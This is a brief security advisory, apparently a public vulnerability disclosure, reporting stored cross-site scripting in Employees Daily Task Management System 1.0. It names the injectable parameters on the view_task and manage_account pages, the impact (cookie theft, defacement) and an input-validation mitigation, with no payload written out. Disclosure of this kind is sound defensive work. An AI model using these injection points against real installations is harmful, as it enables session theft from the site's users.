Employees Daily Task Management System 1.0 – ‘multiple’ Cross Site Scripting (XSS)

A stored XSS vulnerability exists in the Employees Daily Task Management System 1.0 web application. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more. The attacker can inject malicious payloads into the 'title' and 'Task Description' parameters of the 'view_task' page, or the 'full name' and 'contact number' parameters of the 'manage_account' page.

Mitigation:

Input validation should be implemented to prevent malicious payloads from being injected into the application.
